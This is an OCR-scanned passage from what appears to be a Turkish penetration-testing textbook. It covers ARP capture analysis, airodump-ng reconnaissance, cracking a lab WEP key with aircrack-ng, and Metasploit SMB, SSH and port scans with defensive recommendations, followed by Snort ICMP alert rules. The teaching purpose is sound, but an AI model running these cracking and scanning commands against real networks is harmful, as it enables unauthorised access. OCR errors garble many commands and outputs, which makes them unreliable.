30 8.425299623 Intel_ed4:ec:8d Broadcast ARP 42 who has 169.254.169.254? Tell 192.168.1
35 9.039411841 Intel_ed:ec:8d Broadcast ARP 42 who has 169.254.169.2547 Tell 192.168.1
41 9.960960859 Intel_ed:ec:8d Broadcast ARP 42 who has 169.254.169.2547 Tell 192.168.1

. 48 11.129440334 OgemrayTechn_07:49:.. Intel _57:14:d@ ARP 42 192.168.1.1 is at 70:f1:1¢:07:49:25
49 11.129480335 OgemrayTechn_87:49: [: ARP 42 192.168.1.15 is at 70:f1:1c:97:49:2

138 21.139726682 OgemrayTechn_07:49:.. = ARP 42 192.168.1.1 is at 70:f1:1c:07:49:25
139 21.139809224 OgemrayTechn_07:49:.. zte_32:70:78  ARP 42 192.168.1.15 is at 70:f1:1c:07:49:25 (c
612 29.735769029 OgemrayTechn_07:49:.. zte_32:70:78 ARP 42 who has 192.168.1.17 Tell 192.168.1.38
613 29.738239297 zte 32:70:78 OgemrayTechn_.. ARP 42 192.168.1.1 is at d0:60:8c:32:70:78
614 31.1560006152 OgemrayTechn_07:49:.. Intel_57:14:d@ ARP 42 192.168.1.1 is at 70:f1:1c:07:49:25
615 31.150041319 OgemrayTechn_07:49:.. zte _32:70:78  ARP 42 192.168.1.15 is at 70:71:1c:07:49:25 (¢
685 41.160520203 OgemrayTechn_07:49:.. Intel _57:14:d0® ARP 42 192.168.1.1 is at 70:f1:1c:07:49:25
686 41.160567787 OgemrayTechn_07:49:.. zte 32:70:78 ARP 42 192.168.1.15 is at 70:f1:1c:07:49:25 (c.
‘4 ’
» Ethernet II, Src: OgemrayTechn_07:49:25 (70:f1:1c:07:49:25), Dst: zte_32:70:78 (d0:60:8c:32:70:78) -

» Address Resolution Protocol (reply) ]
~ [Duplicate IP address detected for 192.168.1.15 (70:f1:1c:07:49:25) - also in use by 94:e2:3c:57:14:de (fra o
~ [Frame showing earlier use of IP address: 48]
~ [Expert Info (Warning/Sequence): Duplicate IP address configured (192.168.1.15)]
[Duplicate IP address configured (192.168.1.15)]
[severity level: Warning]
[Group: Sequence]
[Seconds since earlier frame seen: 0]
~ [Duplicate IP address detected for 192.168.1.1 (d0:60:8c:32:70:78) - also in use by 70:f1:1c:07:49:25 (fram
~ [Frame showing earlier use of IP address: 48]
~ [Expert Info (Warning/Sequence): Duplicate IP address configured (192.168.1.1)]
[Duplicate IP address configured (192.168.1.1)]
[Severity level: Warning]
[Group: Sequence]
[Seconds since earlier frame seen: 0]

-
“ v 1w

© 7 Address Resolution Protocol: Protocol Packets: 2161 - Displayed: 80 (3.7%) Profile: Default

Gorsel 2.66: Wireshark ile paketlerin incelenmesi
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2. Airodump-ng

Airodump-ng, belirli kanallar tGzerinde yogunlasarak kablosuz trafik izleme ve kimlik dogrulama verisi
islemlerini gerceklestirebilir. Bu arag genellikle parola dayaniklilik testinin 6n asamasinda veri toplamak
icin kullantlir.

« Hedef erisim noktasinin belirlenmesi
- BSSID ve kanal tespiti

Sizma testi agisindan su L o .
« Bagli istemcilerin goriintilenmesi

incelemeleri yerine getirebilir:

« Handshake yakalama

« Trafik yogunlugu analizi

- 16. Uygulama

Airodump-ng araci ile pasif kesif islemini gerceklestirerek gevrenizdeki erisim noktalari ve onlara bagli
cihazlar hakkinda bilgi toplayiniz.

1. Adim: Kablosuz ag kartinizi monitér moda aliniz.
2. Adim: Kablosuz ag kartiniz monitér moddayken airodump-ng wlanOmon komutu ile cevredeki erisim

noktalari hakkinda bilgi toplama islemini gergeklestiriniz (Gorsel 2.67).

E{kali@ kali)-[~]
$ sudo airodump-ng wlan@mon

Gorsel 2.67: Bilgi toplama islemi

3. Adim: Ozel bir aga yonelik kesif yapmak icin airodump-ng - -channel (-c) <kanal numarasi> - - bssid
<bssid> - write (-w) <dosya ismi> <interface> komutu ile kesif islemini baslatiniz (Gorsel 2.68).

E[kali@kali)—{-—j
4 sudo airodump-ng wlan@mon -c 2 ——bssid D@:6@:8C:**:**:** _y pasifkesif
14:14:00 Created capture file "pasifkesif-0l1.cap”.

Gorsel 2.68: Erisim noktasina yonelik kesif islemi
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4. Adim: Pasif kesif isleminde farkli formatlarda kaydedilen dosyayl komut satirina Is -Is pasifkesif*
yazarak goruntileyiniz.

3. Aircrack-ng

Aircrack-ng, kablosuz aglarda kullanilan 6n paylasimli anahtarlarin (PSK) dayanikliligini test etmek igin
kullanilir. Ozellikle WEP ve WPA/WPA2-PSK aglarda analiz yapilmasini saglar. Buradaki amag, sistemi
devre disi birakmak degil parola politikasinin gergek diinyadaki saldirilara karsi dayaniklihgini 6l¢mektir.

« Yakalanmis handshake verisi (izerinde parola testi

Sizma testi yapilirken

bu arag ile su islemler + Sozliik tabanli analiz
gerceklestirilebilir:

« Parola karmasiklik degerlendirmesi

Airodump aracini kullanarak WEP sifreleme algoritmasina sahip bir Wi-Fi aginin sifresini elde ediniz ve
sizma testi uzmani bakis agisiyla yorumlayiniz.

1. Adim: Erisim noktasi arayiziline giris saglayarak sifreleme tlirinit WEP, WEP anahtarini abc12 olarak
degistiriniz.
2. Adim: Kablosuz ag kartinizi monitér moda aliniz.

3. Adim: Linux terminale airodump-ng wlanOmon komutunu yazarak ¢evrenizdeki erisim noktalarini ve
sifreleme tiirlerini gorintileyiniz.

4. Adim: Sifreleme tiri WEP olan erisim noktasina bagl cihazlari gériinttleyerek bu bilgileri bir dosyaya
kaydediniz (Gorsel 2.69).

L—lkali@kali}-i*]
$ sudo airodump-ng --bssid D@:6@:8C:*™:**:** -c 11 -w webcrack wlan@mon
16:32:20 Created capture file "webcrack-@01.cap”.

Gorsel 2.69: WEP sifreleme tilriine bagh cihazlarin goriintilenmesi

5. Adim: Linux terminale Is komutunu yazarak kaydettiginiz dosyayi goriintileyiniz.
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6. Adim: Linux terminale aircrack-ng <dosya ismi> komutunu yazarak WEP sifresinin kirildigini
goriintileyiniz (Gorsel 2.70).
L—(ka‘li@kali]-:*]
$ aircrack-ngz weberack-01.cap
Reading packets, please wait ...

Opening webcrack-91.cap
Read 129921 packets.

Aircrack-ng 1.7

[00:00:00] Tested 314 keys (got 23442 IVs)

KB depth byte(vote)

] 6/ 9 BF(28160) 11(27904) 61(27904) E2(27904) 34(27648) B7(27648) 15(27392)
1 4/ & 62(29184) 64(28928) BO(28160) 16(27904) AG(27904) E4(27904) 02(27648)
2 @/ 2 63(32512) 4A(30976) 04(29184) @A(28416) 4D(28416) C1(28416) C5(28416)
3 o/ 1 31(37632) EF(29696) 7A(29184) 1D(28928) 87(28928) 8D(28416) 04(28160)
4 a/ 3 32(31488) 76(30464) BO(29696) EB(29184) FF(29184) 33(28672) 36(28416)

IKEY FOUND! [ 61:62:63:31:32 ] (ASCII: abcl2 }I
Decrypted correctly: 180%

Gorsel 2.70: WEP sifresinin kirllmasi

7. Adim: Yapilan test islemini sizma testi uzmani bakis agisiyla yorumlayiniz.

m Uygulamada gergeklestirilen test sonucunda WEP sifreleme algoritmasina sahip kablosuz
agin yeterli miktarda veri paketi elde edilmesinin ardindan kisa slrede kirilabildigi
gozlemlenmistir. Bu durum, WEP protokoliiniin giivenli olmadigini ve kurumsal ortamlarda

kesinlikle kullanilmamasi gerektigini acikca ortaya koymaktadir. Ag glvenliginin
saglanabilmesiicin WPA3 gibi daha glicll sifreleme mekanizmalarina gegis yapilmasi onerilir.

Sira Sizde

Kontrolli bir laboratuvar ortaminda kablosuz aglarda gerceklestirilebilecek Evil Twin saldiri
senaryosunu analiz ediniz. Gergek ag ile sahte erisim noktasi arasindaki farklari inceleyerek
kullanicilarin bu tur saldirilara karsi nasil korunabilecegini degerlendiriniz.

4. Wi-Fi Pineapple

Wi-Fi Pineapple, kablosuz giivenlik testleri icin gelistirilmis donanim tabanl bir platformdur. Ozellikle
istemci tarafi saldiri senaryolarinda ve rogue access point testlerinde kullanilir. Donanim tabanli yapilan
testler yalnizca kapsam dahilinde ve kontrolli kosullarda gerceklestirilmelidir.

» Rogue Access Point olusturma

Sizma testi kapsaminda su - Evil Twin senaryolari

senaryolar WI-Fi Pineapple
araci ile uygulanabilir:

« Istemci ydnlendirme testleri

« Kimlik bilgisi sizinti riskinin degerlendirilmesi
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Verilen araclar tek basina bir saldiri araci olarak degerlendirilmemelidir. Esas islevleri, kablosuz ag
yapisinin ne 6lctide saglam ve direngli oldugunu ortaya koymaktir. Dogru bir sizma testi ise yalnizca
teknik veri degerlendirmeleriile sinirli kalmaz. Elde edilen sonuglari olasi etkileriyle birlikte degerlendirir
ve kurumun genel glivenlik yapisini bu bakis agisiyla degerlendirir.

Sira Sizde

Kontrolll bir laboratuvar ortaminda WiFi Pineapple cihazi kullanilarak Rogue Access Point (Yetkisiz
Erisim Noktasi) senaryosunu analiz ediniz. Ag Uzerindeki sahte erisim noktalarini tespit ederek bu
tur tehditlerin olusturdugu riskleri sizma testi perspektifinden degerlendiriniz.

2.3.3. Genel Dinleme ve Analiz Araglari

Sizma testlerinde sadece hedef sisteme yonelik denemeler yapilmaz. Cogu zaman en énemli bilgiler, ag
Uzerinde pasif olarak elde edilen bilgilerden ¢ikar. Bu nedenle genel dinleme ve analiz araclarinin, test
slrecinin erken asamalarinda 6nemli bir gérevi vardir.

Genel dinleme ve analiz araglarinin amaci dogrudan bir saldiri gergeklestirmek degildir. Agin yapisini
anlamak, bilesenlerini tanimlamak ve mevcut glvenlik kontrollerinin ne 6lglide etkili oldugunu
degerlendirmektir.

+ Ag lizerinde gereksiz yere agik birakilmis servisler

«» Sifrelenmemis protokol kullanimlari

Bu kapsamda pasif analiz

siirecinde su bilgiler + Yayin (broadcast/multicast) trafiginin yogunlugu

T (e + Kimlik dogrulama siireclerine iliskin ipuclari

« Segmentasyon eksiklikleri

Bu asama, sonraki adimlarda yapilacak aktif testlerin daha kontrolli ve hedefli sekilde planlanmasina
imkan tanir. Rastgele denemeler yerine bilgi sahibi olunan kontrollii yapilandirmalara dayali testler
yapilir. Bu da hem test kalitesini artirir hem de gergekgi bir saldiri senaryosuna daha yakin sonuglar elde
edilmesini saglar. Bu acgilardan degerlendirildiginde dinleme ve analiz araglari, sizma testinin hazirlik
ve kesif katmanini olusturur. Bu kapsamda degerlendirilebilecek bazi genel dinleme ve analiz araglarin
sunlardir:

A) Metasploit (Ag ve Servis Kesfi Odakli Kullanim)

Metasploit ¢ogunlukla istismar ¢ercevesi olarak bilinse de sizma testlerinde yalnizca Exploit Giretmek
icin kullanilmaz. Dogru yapilandirildiginda ag ve servis kesfi amaciyla da degerlendirilebilir. Sizma testi
acisindan bakildiginda Metasploit’in kullanim amaci, saldiri gergeklestirmek degil hedef ag lizerinde
calisan servislerin ve yapilandirmalarin goriinir hale getirilmesidir.
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« Ag Uzerindeki acgik servislerin tespiti
Test kapsaminda Metasploit SMB servisinin varliginin ve siiriim bilgilerinin incelenmesi

tarafindan su islemler SSH servisinin erisilebilirliginin degerlendirilmesi

incelenebilir: y
LLMNR gibi isim ¢ozimleme protokollerinin agda aktif olup

olmadiginin gézlemlenmesi

Sayilan tirdeki kesif calismalari, agin disaridan nasil gériindigini anlamak agisindan 6nemlidir.
Ornegin SMB servisinin gereksiz yere acik olmasi veya LLMNR vyayinlarinin devam etmesi, ilerleyen
asamalarda kimlik bilgisi sizintisi riskine zemin hazirlayabilir. Metasploit araci ile gergeklestirilen bu tir
kesif calismalari, hedef sistem hakkinda kritik bilgiler elde edilmesini saglar ancak sizma testi siireci
yalnizca kesif ile sinirli degildir. Elde edilen bu bilgiler, sistemde bulunan zafiyetlerin degerlendirilmesi
ve gerektiginde kontrolli sekilde dogrulanmasi icin kullanilir.

Exploit: Bir sistemde bulunan givenlik agigindan yararlanmak amaciyla gelistirilen teknik, yontem
veya kod parcasidir. Baska bir ifadeyle Exploit, bir zafiyeti aktif hale getiren aractir. Sizma testi uzmani,
daha once kesfettigi bir glivenlik acigini dogrulamak ve sistem Uzerinde etkisini gormek icin Exploit
kullanir. Exploitler genellikle yazilm hatalarina, yanlis yapilandirmalara veya glincel olmayan sistemlere
karsi gelistirilir. Bir web uygulamasinda bulunan SQL Injection agigini kullanarak veri tabanina erisim
saglamak bir Exploit 6rnegidir.

Payload: Exploit basarili olduktan sonra hedef sistem lizerinde c¢alistirilan asil yiik (kod) anlamina gelir.
Baska bir deyisle Exploit kapiyi acar, Payload ise iceri girip islemi gerceklestirir.

« Sistem Uzerinde komut galistirma

Payload’lar su « Uzaktan baglanti (reverse shell) saglama

amaglara hizmet o
edebilir: + Yetki ylkseltme

« Veri toplama

Exploitler hedef sistem ve kullanim yontemine gore su tirlere ayrilir:

1. Yerel (Local) Exploit: Sisteme zaten erisimi olan bir kullanicinin yetkisini artirmak icin kullandigl
Exploit tiradir. Genellikle privilege escalation (yetki yiikseltme) amaciyla kullanilir.

2. Uzaktan (Remote) Exploit: Hedef sisteme dogrudan erisim olmadan ag lzerinden gergeklestirilen
Exploit tiridur. Web uygulamalari ve servisler bu tir saldirilara sikca maruz kalir.

3. lstemci Tarafli (Client-Side) Exploit: Kullanicinin etkilesime ge¢mesiyle tetiklenen Exploitlerdir.
Zararl bir dosyanin agilmasi veya sahte bir baglantiya tiklanmasi gibi Exploitlere 6rnektir.

4. Web Tabanl Exploit: Web uygulamalarindaki zafiyetleri hedef alir. SQL Injection, XSS ve Command
Injection bu kategoriye girer.
5. Zero-Day Exploit: Henliz Uretici tarafindan bilinmeyen veya yamalanmamis zafiyetleri hedef alan

Exploitlerdir. En tehlikeli Exploit tiirlerinden biridir.

6. Servis Disi Birakma (DoS) Exploit: Bir sistemin, agin veya servisin mesru kullanicilar tarafindan
erisilemez hale getirilmesini amacglayan exploit tlrldur. Sistemi asiri yikleyerek veya yazilimsal
hatalari tetikleyerek sistemin ¢okmesine veya yanit veremez hale gelmesine neden olur.
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Exploit veri tabanlari, bilinen glivenlik agiklari ve bu agiklari dogrulamak amaciyla gelistirilen tekniklerin
toplandigi 6nemli kaynaklardir. Bu veri tabanlari, sizma testi uzmanlarina sistemlerdeki zafiyetlerin
ne Olglide risk olusturdugunu anlamada rehberlik eder ve kesif asamasinda elde edilen bilgilerin
dogrulanmasina katki saglar ancak bu kaynaklar kullanilirken dikkatli olunmalidir ¢linki internet
ortaminda yer alan bazi Exploit érnekleri sahte, zararli veya yaniltici olabilir. Ozellikle dogrulanmamis
kodlarin dogrudan kullaniimasi, test ortamina zarar verebilecegi gibi yanlis sonuglara da yol acabilir. Bu
nedenle Exploitlerin gilivenilir kaynaklardan elde edilmesi, analiz edilmesi ve yalnizca izole-kontrollii
ortamlarda test edilmesi blyik 6nem tasir.

Givenilir Exploit ve Zafiyet Kaynaklari

1. CVE (Common Vulnerabilities and Exposures): Her givenlik acigina benzersiz bir kimlik numarasi
atayan ve zafiyetlerin standart sekilde tanimlanmasini saglayan sistemdir.

2. NVD (National Vulnerability Database): CVE kayitlarinin teknik detaylarini, etki seviyelerini (CVSS
skorlari) ve ¢6zlim 6nerilerini iceren kapsamli bir zafiyet veri tabanidir.

3. Exploit-DB: Gergek diinyada kullaniimis Exploit 6rneklerini barindiran ve sizma testlerinde referans
olarak kullanilan genis bir veri tabanidir.

4. Metasploit Framework: Dogrulanmis Exploit ve Payload modiilleri iceren, hem test hem de analiz
amach kullanilan glicli bir sizma testi platformudur.

5. Packet Storm Security: Giincel glivenlik agiklari, Exploit kodlari ve glivenlik araglarinin paylasildigi
aktif bir glivenlik platformudur.

6. GitHub: Arastirmacilar tarafindan Exploit ve giivenlik araclarinin paylasildigi bir platformdur ancak
iceriklerin glvenilirligi dikkatle degerlendirilmelidir.

7. SecurityFocus/Bugtraq (Arsiv): Gegmiste yayinlanmis giivenlik agiklari ve Exploitlerin yer aldig
onemli bir arsiv kaynagidir.

Sizma testi slireglerinde kullanilan Exploit, arag ve teknikler test raporunda acik bir sekilde belirtilir.
Bu seffaflik hem yapilan testlerin dogrulanabilirligini saglamak hem de ilgili zafiyetlerin nasil istismar
edilebildigini gostermek acisindan biylk 6nem tasir. Rapor igerisinde genellikle kullanilan Exploitin
turd, hedeflenen zafiyet (CVE numarasi varsa), elde edilen erisim seviyesi ve gerceklestirilen islemler
detayli olarak yer alir ancak bazi durumlarda 6zellikle ticari hassasiyetler veya glvenlik politikalari geregi
Exploit kodlarinin tamami paylasilmayabilir. Bunun yerine zafiyetin nasil ¢alistigi ve nasil giderilecegi
teknik olarak aciklanir. Bu yaklasim hem kurum glvenligini korumayi hem de gerekli teknik farkindalig
saglamayl amaclar.

Encoder Modiilleri: Payload’larin farkh sekillerde kodlanarak glvenlik sistemlerinden kaginmasini
saglamak amaciyla kullanilir. Ozellikle antiviriis ve imza tabanli tespit mekanizmalarini atlatmak igin
Payload’in yapisini degistiren teknikler icerir ancak encoder kullanimi, Payload’in islevini degistirmez,
yalnizca gérinimana farkhlastirir.

Auxiliary Modiilleri: Dogrudan istismar (Exploit) gerceklestirmeden bilgi toplama, tarama ve analiz
islemleri icin kullanilir. Port tarama, servis tespiti, brute-force denemeleri ve cesitli kesif faaliyetleri bu
modaiiller araciligiyla gerceklestirilir. Sizma testinin kesif asamasinda 6nemli bir rol oynar.

Post Modiilleri: Hedef sisteme erisim saglandiktan sonra kullanilan araglardir. Bu moddller sayesinde
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Armitage

sistem Uzerinde bilgi toplama, yetki ylkseltme, kalicilik saglama, ag icinde yatay hareket gibi islemler
gerceklestirilebilir. Bu islemlerin amaci, elde edilen erisimin kapsamini ve etkisini analiz etmektir.

Metasploit Framework, farkl kullanici seviyelerine hitap edebilmek amaciyla cesitli arayizler sunar.
Bunlar arasinda en yaygin ve en gliclii olani, komut satiri (izerinden calisan ve tiim modiillere tam erisim
saglayan msfconsole araytzidir. Esnek yapisi sayesinde sizma testi uzmanlari tarafindan ¢ok tercih
edilir. msfcli, komutlarin tek satirda galistirilmasina imkan taniyan bir arayliz olup daha ¢ok otomasyon
ve hizliislemler icin kullaniimis ancak bugtin biyiik 6lciide msfconsoleun yerini almasiyla kullanim orani
azalmistir. Grafiksel bir deneyim sunan Armitage, ag lzerindeki hedeflerin gorsel olarak izlenmesini
saglar ve oOzellikle yeni baslayanlar icin kullanim kolayligl sunar. Bunun yani sira kurumsal ortamlarda
tercih edilen Metasploit Web Arayiizii (Pro), tarayici lizerinden erisilebilen yapisi ile raporlama,
otomasyon ve ekip ¢alismasi agisindan avantaj saglar (Gorsel 2.71).

msf6 sxploit(multi/handler):

set payload

TCP handler on 1

session 1 opened

metasploit

M, e Lty £s - 504 aunilisry - 194 post

¥ metasploit PRO
Recent Activity

8_067_netapi

s/meterpreterev

Gorsel 2.71: Metasploit araylzleri
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18. Uygulama

Metasploit Framework (msfconsole) aracini kullanarak yerel ag (izerinde servis kesfi calismasi
gerceklestiriniz. Bu kapsamda SMB, SSH ve LLMNR ile iliskili servisleri tespit ediniz ve elde ettiginiz
bulgulari sizma testi perspektifinden degerlendiriniz.

1. Adim: Konsola msfconsole komutunu girerek Metasploit uygulamasini baslatiniz ve SMB servisinin
tespit edilmesiamaciyla sirasiyla use auxiliary/scanner/smb/smb_version, set RHOSTS 192.168.1.0/24
ve run komutlarini giriniz (Gorsel 2.72).

ry - 409 post

11 nops
ip: View all pro vity tips with the
mentation: https:/ cs.metasploit.c

canner/smb/smb
TS 192.168.1.0/24

Gorsel 2.72: SMB portu taramasi

2. Adim: SMB taramas! sonucunda elde edilen bulgulari (Gorsel 2.73) sizma testi perspektifinden
degerlendiriniz.

) > set RHOSTS 192.168.1.0/24

msf6

Gorsel 2.73: SMB portu taramasi

3. Adim: Degerlendirmenizi verilenle karsilastiriniz.

DEGERLENDIRME: Gergeklestirilen SMB taramasi sonucunda hedef ag icerisinde 192.168.1.27 ve
192.168.1.116 IP adreslerine sahip sistemlerde 445 numarali port tGizerinden SMB servisinin aktif oldugu
tespit edilmistir. Her iki sistemde de SMB protokoliiniin 2 ve 3 versiyonlarinin desteklendigi, tercih
edilen protokollin ise SMB 3.1.1 oldugu gorilmektedir. Bu durum, sistemlerin eski ve zafiyetli SMBv1
protokolliini kullanmadigini, daha giincel bir yapilandirmaya sahip oldugunu gostermektedir ancak
yapilan analizde her iki sistemde de SMB imzalama (signing) ozelliginin zorunlu olmadigi (optional)
belirlenmistir. Bu durum, ag icerisinde gerceklestirilebilecek Ortadaki Adam (MitM) saldirilarina karsi
sistemlerin savunmasiz olabilecegini gostermektedir. Ayrica sistemlere ait authentication domain
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bilgilerinin acikca elde edilebilmesi, hedef hakkinda bilgi toplama stirecini kolaylastirmakta ve potansiyel
saldirilarin daha planh sekilde gerceklestiriimesine zemin hazirlamaktadir. SMB 3.1.1 ile birlikte gelen
sifreleme (AES-GCM) ve sikistirma (compression) ozelliklerinin desteklenmesi veri glivenligi agisindan
olumlu bir durum olsa da yanlis yapilandirmalar bu avantajlari etkisiz hale getirebilmektedir.

« SMB imzalama (SMB Signing) 6zelligi zorunlu hale getirilmelidir.

« Gereksiz SMB erisimleri kapatilmali veya sinirlandiniimalidir.

Tespit Edilen « SMB servisi yalnizca ihtiyag duyulan sistemlerde aktif tutulmalidir.
Zdfiyetlere Yonelik

« Firewall kurallari ile 445 portuna erisim kisitlanmalidir.
Alinmasi Gereken

Onlemler: » Sistemler diizenli olarak giincellenmeli ve yamalar uygulanmalidir.

- Agicerisinde segmentasyon yapilarak SMB trafigi izole edilmelidir.

« LLMNR ve NetBIOS gibi zayif protokoller miimkinse devre disi birakilmalidir.

4. Adim: SSH servisinin tespit edilmesi amaciyla sirasiyla use auxiliary/scanner/ssh/ssh_version, set
RHOSTS 192.168.1.0/24 ve run komutlari giriniz (Gorsel 2.74).

auxiliary(

Gorsel 2.74: Erisim noktasi sifreleme konfiglirasyonu

5. Adim: SSH taramasi sonucunda elde edilen bulgulari (Goérsel 2.75) sizma testi perspektifinden
degerlendiriniz.

canner/ssh/ssh on
set RHOSTS 192.168.1.8

SH
d:openssh:9.5 os
)

:openbsd:openssh:8.9pl
rint_db=ssh.banner

Gorsel 2.75: SSH tarama sonuglari

@ SIZMA TESTI



BiLGi TOPLAMA VE KESIiF YONTEMLERI

6. Adim: Degerlendirmenizi verilenle karsilastiriniz.

DEGERLENDIRME: Gerceklestirilen SSH taramasi sonucunda, hedef ag icerisinde 192.168.1.27 ve
192.168.1.191 IP adreslerine sahip sistemlerde 22 numarali port (izerinden SSH servisinin aktif oldugu
tespit edilmistir. Elde edilen bilgilere gbre 192.168.1.27 adresli sistemde OpenSSH for Windows 9.5
sirimu calisirken, 192.168.1.191 adresli sistemde OpenSSH 8.9p1 (Ubuntu) siirimidndn kullanildig
belirlenmistir. SSH servisinin aktif olmasi, sistemlerin uzaktan yonetilebilir oldugunu géstermektedir
ancak servis versiyon bilgilerinin agik¢a elde edilebilmesi, hedef sistemler hakkinda bilgi toplama
slirecini kolaylastirmakta ve potansiyel saldirganlar agisindan énemli bir avantaj saglamaktadir. Bu tir
banner bilgileri, bilinen zafiyetlerin arastiriimasi ve hedefe yonelik saldirilarin 6zellestirilmesi agisindan
kritik 6neme sahiptir. Windows ve Linux sistemlerde SSH servisinin aktif olmasi, 6zellikle zayif parola
kullanimi veya yanhs yapilandirma durumlarinda brute-force (kaba kuvvet) saldirilarina agik hale
gelebilir. SSH erisiminin tlim aga acik olmasi durumunda yetkisiz erisim riski artmaktadir.

SSH erisimi yalnizca yetkili IP adresleri ile sinirlandirilmalidir.

Parola tabanli giris yerine anahtar tabanh kimlik dogrulama (SSH key)
kullanilmahdir.

e G AT Zayif parola politikalari gliclendirilmelidir.

soyledir: Girig denemeleri sinirlandirilmalidir (fail2ban vb. mekanizmalar).
Varsayilan port (22) degistirilerek ek bir glivenlik katmani saglanabilir.
SSH banner bilgileri miimkiin oldugunca gizlenmelidir.

Sistemler diizenli olarak glincellenmeli ve giivenlik yamalari uygulanmalidir.

7. Adim: Ag lzerinde LLMNR ile iliskili servislerin tespit edilmesi amaciyla sirasiyla use auxiliary/
scanner/portscan/tcp, set RHOSTS 192.168.1.0/24, set PORTS 22,80,139,445 ve run komutlari giriniz
(Gorsel 2.76).

liary/scanner/portscan/tcp
) set RHOSTS 192.168.1.8/24

> set PORTS 22,8@,139,445

msfe auxiliary( } = run

Gorsel 2.76: LLMNR taramasi
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8. Adim: LLMNR ile ilskili servislerin tespiti taramasi sonucunda elde edilen bulgulari (Gorsel 2.77)
sizma testi perspektifinden degerlendiriniz.

learn more
.metasploit.com/

cp
> set RHO

> set PORTS 22,80,13
> run
- TCP OPEN
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Gorsel 2.77: LLMNR tarama sonuglari

9. Adim: Degerlendirmenizi verilen degerlendirme ile karsilastiriniz.

DEGERLENDIRME: Gergeklestirilen TCP port taramasi sonucunda hedef ag icerisinde farkli sistemlerde
belirli servislerin aktif oldugu tespit edilmistir. Elde edilen bulgulara gore 192.168.1.1 IP adresinde 80
numaral portun (HTTP) a¢ik oldugu, 192.168.1.27 IP adresinde ise 22 (SSH), 139 (NetBIOS) ve 445 (SMB)
portlarinin acik oldugu belirlenmistir. 192.168.1.1 adresinde HTTP servisinin acik olmasi, bu sistemin bir
web araylzi sundugunu ve muhtemelen bir modem, yonlendirici veya web tabanli yonetim paneline
sahip bir cihaz oldugunu gostermektedir. Bu tiir cihazlar genellikle varsayilan kimlik bilgileri veya glincel
olmayan yazilimlar nedeniyle hedef haline gelebilir. 192.168.1.27 adresinde birden fazla kritik servisin
ayni anda acik olmasi dikkat cekicidir. SSH servisinin acik olmasi sistemin uzaktan erisime izin verdigini
gosterirken NetBIOS (139) ve SMB (445) servislerinin aktif olmasi, Windows tabanli ag paylasim
hizmetlerinin kullanildigini géstermektedir. Bu durum, 6zellikle LLMNR ve NetBIOS tabanh kimlik bilgisi
yakalama saldirilarina ve ag ici yayllma (lateral movement) senaryolarina zemin hazirlayabilir.

« Gereksiz acik portlar kapatilmali ve yalnizca ihtiya¢ duyulan servisler aktif
birakilmalidir.

- SMB (445) ve NetBIOS (139) servisleri mimkinse sinirlandiriimal veya
devre disi birakilmalidir.

Tespit Edilen
Zafiyetlere Yonelik
Oneriler:

« SSH erisimi yalnizca belirli IP adresleri ile sinirlandiriimahdir.

« HTTP servisleri igin glicli kimlik dogrulama mekanizmalari kullaniimahidir.

« Varsayilan kullanici adi ve parolalar degistirilmelidir.
- Firewall kurallari ile kritik portlara erisim kontrol altina alinmalidir.

« Ag segmentasyonu uygulanarak servislerin erisim alani daraltilmahdir.
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BiLGi TOPLAMA VE KESIiF YONTEMLERI

Sira Sizde

Metasploit Framework kullanilarak zafiyetli bir sistem Gizerinde Payload kullanim senaryosunu analiz
ediniz. Elde ettiginiz bulgulari sizma testi slirecine uygun olarak degerlendiriniz.

B) Snort (Ag Trafigi izleme ve Tespit Perspektifi)

Snort bir saldiri araci degil ag izleme ve saldir tespit sistemidir (IDS/IPS). Sizma testlerinde su iki farkli
amacla degerlendirilebilir:

1. Ag lizerindeki anormal trafigin analiz edilmesi
2. Gergeklestirilen test aktivitelerinin tespit edilip edilmediginin gbzlemlenmesi
Bir sizma testi sirasinda Snort’un devrede olmasi, kurumun saldiri tespit kapasitesini 6lgmek agisindan

onemli bir gbstergedir.

« Ag lizerindeki tarama faaliyetleri algilaniyor mu?

Test uzmani agisindan

bakildiginda ise su « Sipheli baglanti denemeleri kayit altina aliniyor mu?

sorularin cevabi aranir: + Uyari mekanizmalari dogru yapilandiriimis mi?

Snort, dogrudan saldiri Gretmek icin degil savunma mekanizmalarinin etkinligini degerlendirmek icin
kullanilir. Sizma testinin olgunluk seviyesi arttik¢a yalnizca zafiyet degil tespit kabiliyeti de dlgiimelidir.

19. Uygulama

192.168.1.100 IP adresine sahip Kali Linux sistemi tGzerinde kurulu bulunan Snort aracini kullanarak ag
Uzerinde gerceklesen ICMP trafigini izleyiniz. 192.168.1.127 IP adresine sahip istemci cihazdan gelen
ICMP isteklerinin tespit edilmesi ve alarm lretilmesi icin gerekli kurali olusturunuz ve uygulayiniz.

m Snort paketlerinin sistemde yukli oldugu kabul edilmektedir.

1. Adim: Snort uygulamasinin sistemde kurulu olup olmadigini kontrol etmek i¢in snort -V komutunu
giriniz (Gorsel 2.78).

Gorsel 2.78: Snort kurulum ve versiyon kontroli
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2. Adim: cd /root ve ardindan nano local.rules komutlarini girerek kural olusturmak icin gerekli ekrani
aciniz (Gorsel 2.79).

& root@kali: ~

Dosya Eylemler Diizen Gorinim Yardim

~

/root

local.rulesf]

Gorsel 2.79: Kural olugturma

3. Adim: Su kurallari nano editoriine girerek kaydederek cikiniz (Gorsel 2.80):

alert icmp 192.168.1.27 any -> 192.168.1.100 any (msg:”Windows cihazdan Kali’'ye ICMP ping tespit
edildi-MTEGM KITAP”; sid:1000001; rev:1;)

alert tcp 192.168.1.27 any -> 192.168.1.100 80 (msg:"Windows cihazdan Kali’'ye HTTP istegi tespit
edildi-MTEGM KITAP”; sid:1000002; rev:1;)

= root@kali: ~

Dosva Evlemler Diizen Goriiniim__Yardim

GNU nano 8.1
glert icmp 1
alert tcp 19

satir okundu ]|

Gorsel 2.80: Kural yazma

4. Adim: sudo snort -i ethO -R /root/local.rules -A alert_fast komutu girilerek tanimlanan kurallar
dogrultusunda alarm Uretecek sekilde ag izleme islemi baslatiniz (Gorsel 2.81).

& root@kali: ~

Dosya Eylemler Diizen Goriinim Yardim

sudo snort -1 eth® -R /rootflocal.rules -A

Snort+ 3.11.1.0

rule counts
total rul
tex
option chains
chain

port rule counts
tcp

any
dst
total

Gorsel 2.81: Ag izleme
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5. Adim: 192.168.1.27 IP adresli cihazdan 192.168.1.100 IP adresli cihaza ping islemini gerceklestiriniz
(Gorsel 2.82).

Komut Istemi — O X

s\murat>ping 1¢

dinging 19:

ing statistics fo
Packets: Sent = 4, Rec

Gorsel 2.82: Ping islemi

